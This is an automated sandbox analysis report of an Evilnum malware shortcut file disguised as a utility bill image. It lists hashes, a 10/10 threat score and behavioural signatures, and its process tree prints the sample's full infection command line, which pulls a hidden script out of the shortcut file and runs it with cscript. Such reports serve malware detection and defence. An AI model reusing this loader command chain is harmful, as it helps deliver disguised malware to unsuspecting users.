Analysis

  • max time kernel
    118s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 04:07

General

  • Target

    4e734713911d2bcb1ba9da2752e529387fe176aa2da0c043593c412e7dec1ade.lnk

  • Size

    88KB

  • MD5

    3d0836ddc60ac65f9c43cc6732e5317c

  • SHA1

    910382e02738661583813d212904742390c5008a

  • SHA256

    4e734713911d2bcb1ba9da2752e529387fe176aa2da0c043593c412e7dec1ade

  • SHA512

    94f6374c5fc0d650eb8526efc86ee263dc7286fe47c6c8aacc04b42ab0dcc8994337df32c1f9fdae5c724941be0fee164aa11dd001cb96a71d3d9fe0553f2144

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\4e734713911d2bcb1ba9da2752e529387fe176aa2da0c043593c412e7dec1ade.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Utility Bill.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Util*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Util*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:1724
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1248
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:368
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:576
              • C:\Windows\system32\cscript.exe
                cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:320

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/952-54-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

              Filesize

              8KB